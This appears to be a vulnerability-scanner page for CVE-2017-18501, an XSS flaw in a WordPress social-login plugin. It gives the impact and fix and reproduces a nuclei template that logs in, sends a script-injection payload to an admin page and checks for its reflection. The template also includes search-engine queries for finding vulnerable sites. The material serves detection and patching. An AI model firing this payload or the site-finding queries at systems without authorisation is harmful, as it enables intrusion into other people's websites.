Social Login by BestWebSoft < 0.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

The social-login-bws plugin before 0.2 for WordPress has multiple XSS issues.

Impact

Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Update to version 0.2 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E ; GET /wp-content/plugins/social-login-bws/readme.txt
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>") and contains(body_3, "Social Login by")

Run it with nuclei: nuclei -id CVE-2017-18501 -u <target>

The full check

id: CVE-2017-18501

info:
  name: Social Login by BestWebSoft < 0.2 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The social-login-bws plugin before 0.2 for WordPress has multiple XSS issues.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to version 0.2 or later.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18501
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18501
    - https://wordpress.org/plugins/social-login-bws/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18501
    cwe-id: CWE-79
    epss-score: 0.0141
    epss-percentile: 0.72883
    cpe: cpe:2.3:a:bestwebsoft:social_login:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: social_login
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/social-login-bws/
    fofa-query: body=/wp-content/plugins/social-login-bws/
    publicwww-query: "/wp-content/plugins/social-login-bws/"
  tags: cve2017,cve,wordpress,wpscan,bws-social-login,wp-plugin,xss,authenticated,bestwebsoft,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/social-login-bws/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "Social Login by")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from